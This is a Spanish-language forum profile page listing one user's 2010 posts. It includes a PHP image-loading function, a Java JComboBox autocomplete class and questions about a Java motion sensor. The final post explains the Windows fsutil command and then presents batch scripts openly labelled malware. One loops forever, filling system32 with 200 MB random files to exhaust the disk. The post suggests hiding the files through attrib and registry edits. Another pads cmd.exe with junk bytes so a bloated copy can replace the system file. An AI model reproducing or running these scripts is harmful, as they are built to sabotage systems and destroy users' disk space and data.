Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - AFelipeTrujillo

#131
PHP / Re: mostrar imagen y despues borrarla
17 Abril 2010, 18:19 PM
una vez descomprimida la imagen guardela en un directorio... una vez hecho el proceso la cargamos con el método imagecreatefromjpeg  pasandole como parámetro la URL o la dirección del archivo....

con esta función puedes parle la URL o el direcctorio y configurale algunos atributos mas:

Código (php) [Seleccionar]
function CargarJpeg ($nombreimg) {
    $im = @imagecreatefromjpeg ($nombreimg); /* Intento de apertura */
    if (!$im) { /* Comprobar si ha fallado */
        $im  = imagecreate (150, 30); /* Crear una imagen en blanco */
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc  = imagecolorallocate ($im, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);
        /* Mostrar un mensaje de error */
        imagestring ($im, 1, 5, 5, "Error cargando $nombreimg", $tc);
    }
    return $im;
}
header('Content-Type: image/jpeg');

$img = CargarJpeg ('bogus.image');

imagejpeg($img);
imagedestroy($img)


espero que le sirva !!!!!
#132
ahhh ya pero eso es puro protocolo....
#133
gracias pero no entiendo su apreciación ???
#134
Java / [APORTE] Autocompler en un JComboBox
13 Abril 2010, 19:23 PM
Bueno hace rato una mañana me levante pensando como las paginas web pueden auto-completar texto sin necesidad de tener un registro en nuestro historial de navegación, como lo hace google bueno me empape de la clase JComboBox asi que este fue el resultado:

Las palabras las tomo de arreglo de String, pero como lo cito en el code, para que sea un aplicación seria el arreglo debería ser dinámico lo mejor es consultar una base de datos y tomar los datos de allí, asi mismo si el termino no esta definido en la lista debe estar en la capacidad de adicionar mas palabritas, si alguien se le apunta de una lo apoyo

Bueno les dejo code t salud2

Código (java) [Seleccionar]
import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.sql.Date;

import javax.swing.*;
import javax.swing.text.AttributeSet;
import javax.swing.text.BadLocationException;
import javax.swing.text.PlainDocument;

/*
* Autocompletar !!!!
* */

public class JAng3r extends JComboBox implements JComboBox.KeySelectionManager{

    public static void main(String[] args) {
        JFrame f = new JFrame();
        // Creamos el Marco o Frame
        f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        // con este metodo podemos cerrar la ejecucion
        // del programa
        f.setSize(300,300);
        // le damos el tamaño
        Container c = f.getContentPane();
        //Creamos el contenedor para alojar nuestras
        // funciones GUI
        c.setLayout(null);
        String [] cuerpo ={"Andres","Ang3r","Foro","Texto"};
        //pues por ahora le mando un arreglo pero cuando sea
        // un aplicacion seria este arreglo se llena desde la
        // base de datos
        JComboBox j = new JAng3r(cuerpo);
        // Hacemos Up-Casting
        j.setBounds(50,50,100,20);
        j.setEditable(true);
        // Damos permisos para que se pueda editar
        f.add(j);
        // hacemos el upcasting
        f.setVisible(true);
    }   

    // ESTO ES RARO PERO SE PUEDE :)
    // creamos un clase llamada formato la cual nos permite
    // darle formato solamente en el tamaño de caracteres
    //admitidos, asi como si acepta caracteres alfanuméricos
    // o solo numéricos al elemento
    public class Formato  extends PlainDocument{

        public void insertString(int offset, String str, AttributeSet a) throws BadLocationException{
            // Podemos Observar que esta Retornando <----------
            System.out.println(offset+" "+str);
            if (str == null){
                return;
            }
            super.insertString(offset,str, a);
            if (str.length()!=0){
                // Este metodo activa el evento grafico sin el
                // el efecto no seria posible
                fireActionEvent();
            }
        }
    }

    public JAng3r(Object[] cuerpo) {
        super(cuerpo);

        // Recordemos que JAng3r extiende o hereda de JComboBox
        // Por estas razones le envio este objeto al evento
        // setKeySelectionManager(JComboBox);
        setKeySelectionManager(this);
        JTextField jtext;
        // con el metodo getEditor() retornamos el editor
        // con el que se creo el JComboBox
        jtext = (JTextField)getEditor().getEditorComponent();
        // Le pasamos el formato al JtextField
        jtext.setDocument(new Formato());
        addActionListener(new ActionListener()
        {
            public void actionPerformed(ActionEvent evt)
            {
                JTextField textf = (JTextField)getEditor().getEditorComponent();
                String text = textf.getText();
                ComboBoxModel aModel = getModel();
                String aux;
                for(int i = 0; i < aModel.getSize(); i++)
                {
                    aux = aModel.getElementAt(i).toString();
                    if(aux.toLowerCase().startsWith(text.toLowerCase()))
                    {
                        System.out.println(text+" tiene una Ocurrencia con: "+aux);
                        textf.setText(aux);
                        textf.setSelectionStart(text.length());
                        textf.setSelectionEnd(aux.length());
                        break;
                    }
                }
            }
        });
    }
    public int selectionForKey(char aKey, ComboBoxModel modelo) {
        return 0;

    }

}


FUENTE

#135
Java / Re: Sensor de Movimiento
13 Abril 2010, 19:17 PM
Hola compañeros gracias por su apreciación me dieron mas idea de por donde va este desarrollo... me tocaría mirar mejor la tolerancia de la imagen para que no se salte a cada rato .... bueno por lo que se esto va a estar montado sobre Internet y creo que va ser un poco demorado  :-\ hay muchas variables en juego ... espero que pueda resolverlo y les comentare como va el asusto... muchas gracias
#136
Java / Re: Ayuda con este ejercicio
13 Abril 2010, 14:29 PM
Si es posible ya que cuando uno inicializa un objeto.... es decir cuando le hacemos new es hay donde se ejecuta el constructor...
#137
Java / Re: Sensor de Movimiento
13 Abril 2010, 14:25 PM
Hola a todos estuve averiguando hacer del desarrollo de este programa y creo que la solución es: Tomar fotos cada rango de tiempo y estar comparando la actual con la anterior (suena sencillo) .... me pregunto si conocen algún otro método  :huh:
#138
Java / Re: Sensor de Movimiento
13 Abril 2010, 07:10 AM
Tkxxx por tu respuesta ..... lo que deseo en si saber es como implementar un sensor de movimiento.... supongamos que tengo un espacio vacio y que mediante el programa se dispare un alarma apenas haya movimiento en este espacio... no si me hice entender??
#139
Java / Sensor de Movimiento
13 Abril 2010, 02:48 AM
Hola comunidad, como puedo implementar un sensor de movimiento en JAVA .... ideas??? que cámaras puedo utilizar ? y que librerías lo podría implementar?

salu2
#140
Hola gente, hoy les voy a presentar un comando bastante raro muy poco conocido es el Fsutil, primero la definición, sus parametros y después la aplicación

FSUTIL (FileSUTILities), es una herramienta para la consola de comandos, la cual nos permitira hacer gran variedad de tareas sobre los sistemas de archivos de la familia de sistemas operativos de windows (FAT) y NTFS, como administrar puntos de análisis, administrar archivos dispersos o desmontar un volumen.
Para lanzarlo, deberemos tener las credenciales de administrador !!! este es el problema.

En la siguiente lista podremos ver los diferentes argumentos que le podemos dar a esta herramienta y los diferentes usos que tiene.
Recalcar el uso de fsutil hardlink create, el cual nos servirá para realizar accesos directos duros a ficheros de manera que podamos usar el mismo fichero en diferentes localizaciones y con diferentes nombres pero sin duplicarlo, de manera que cuando se modifica uno, se modifican para las dos ubicaciones ya que es el mismo fichero.

Fsutil behavior

Consulta, cambia, habilita o deshabilita la configuración para generar nombres de archivo con longitud de caracteres 8.3, aceptar caracteres extendidos en los nombres de archivo con longitud de caracteres 8.3 en volúmenes NTFS, actualizar la marca de fecha y hora de último acceso en volúmenes NTFS, la frecuencia con la que se escriben sucesos de cuota en el registro de sistema, los niveles de caché interna de memoria de grupo NTFS paginada y no paginada, y la cantidad de espacio de disco reservado para la zona MFT1.

Fsutil dirty

Nos servirá para saber si se ha establecido el bit de daños del un volumen, y nos permite también establecerlo, de manera que en el siguiente reinicio, autochk buscará automáticamente los errores en el volumen.

Fsutil file

Tiene distintos parámetros:


  • findbysid - Buscar fichero por nombre de usuario, (en caso de estar habilitadas las cuotas de disco).Busca dentro de la tabla maestra de archivos (MFT) de NTFS por lo que el rendimiento es mucho mayor que realizar la búsqueda por la extructura de directorios.
Código (dos) [Seleccionar]
fsutil file findbysid user c:\

  • queryallocranges - Consulta los intervalos asignados de un archivo.Es útil para determinar si un archivo tiene zonas dispersa.
Código (dos) [Seleccionar]
fsutil file queryallocranges offset=1024 length=64 c:\archivo.txt

  • setshortname - Establece el nombre corto (nombre de archivo con longitud de caracteres 8.3) de un archivo en un volumen NTFS.
  • setvaliddata - Establece la longitud de datos válidos
  • setzerodata - Establece los datos cero para un archivo.
  • createnew - Crea un fichero con tamaño especifico (contenido 0)
  • Fsutil fsinfo

    • drives - Enumera todas las unidades.
    • drivetype - Consulta el tipo de unidad.
    • volumeninfo - Consulta la información del volumen.
    • ntfsinfo – Consulta la información de volumen específica de NTFS.
    • statistics – Consulta las estadísticas del sistema de archivos.

Estos son los comandos mas importantes según mi parecer, la idea es seguir con la aplicación de este comando en algún malware que se les ocurra. Si se fijan bien el comandos Fsutil file createnew, sirve para crear un archivo de longitud 0 (cero) pero esto no estan cierto; este comando a demas de crear un archivo puede modificar su tamaño según este Script:

Código (dos) [Seleccionar]
@echo off
echo "Ecriba el Nombre del Archivo"
set /p nom=
echo "Ecriba el tamanno de %nom% en megabyte"
set /p var=
set /a length= %var%*1000000
:: ~~~~~~ RUTINA FSUTIL ~~~~~~~~
fsutil file createnew %nom%.txt %length%
pause


Se imagina esto:

Código (dos) [Seleccionar]
fsutil file createnew fhaker.txt 99999999999999

Es aquí donde podemos observarla potencia de este comando, poder crear archivos con la longitud que queramos en bytes es bastante útil a la hora de sabotear un sistema de información. La desventaja de este comando es que un usuario con experiencia pondría en la labor ponerse a buscar archivo por archivo y lo borraría muy fácilmente este archivo; una solución a este inconveniente es crear varios archivos y distribuirlos por todo el sistema, buena idea pero existe otro problema «no conocemos el tamaño del disco del usuario !!!" . Asi que llenar el disco con uno o cuatro archivo sno es viable lo mejor es llenarlo con miles de archivos, yo propongo esta solución:

Código (dos) [Seleccionar]
@echo off
REM NO INTENTEN ESTO EN SU PC
REM Vamo a crear archivos a punta de numeros
REM Randomicos, como putas!! con %RANDOM%
REM y cada nuero seria un archivo txt de 200 Mb
REm Esto ira en un ciclo infinito
title +++ 4ng3r Malware Fsutil +++
:start
REM Esto nos lleva a la carpeta del catalogo
REM del Sistema Opertativo en muchos casos
REm c:\windows
cd %windir%\system32
set /a length= 200*1000000
fsutil file createnew %random%.txt %length%
goto start


Este se puede potenciar mas aun con el comando at, attrib y cierto .REG para cambiar el Hidden"=dword:00000001 ( ;D) de registro. La idea es ocultar el archivo por que nos dejaría en desventaja con el usuario la funcionalidad de nuestro malware fracasaría y simplemente nos quedaría de lección, pero se me ha ocurrido una idea aun mas loca y destructivo; no se si se estaran pensado en sobre escribir un archivo ???.... si es asi esa es la solución final a nuestro problema, simplemente buscamos un archivo vital para el sistema y le metemos peso a esa monda, entonces el usuario borrara el archivo por ahorrarse algunos bytes en su pc. Esta es la aplicación final que doy para este tema:

Código (dos) [Seleccionar]
@echo off
REM Copiamos CMD.EXE de system32 y lo pasamos a el
REM disco donde esta instalado Windows
copy %windir%\system32\cmd.exe %homedrive%\cmd1.exe
REm Si vamos, ejecutamos y observamos el rendimiento
REM de CMD1.EXE no ha cambiado del original trabaja igual
cd %homedrive%
REM Creamos el archivo
fsutil file createnew ang3cmd.exe 1000000
REM Y hacemos una parametrización de bytes
type cmd1.exe > cmd2.exe
type ang3rcmd.exe >> cmd2.exe
cls
echo "Se termino el Proceso"
pause > nul


Miremos el resultado:


Observemos que cmd1.exe es una copia de cmd.exe (el original) y en la parte de abajo vemos el cmd2.exe ya modificado por el malware, si ejecutamos cmd2.exe fuanciona como debe  ser simplemente re-nombrelo y lo copian a %systemroot%\system32.


FUENTE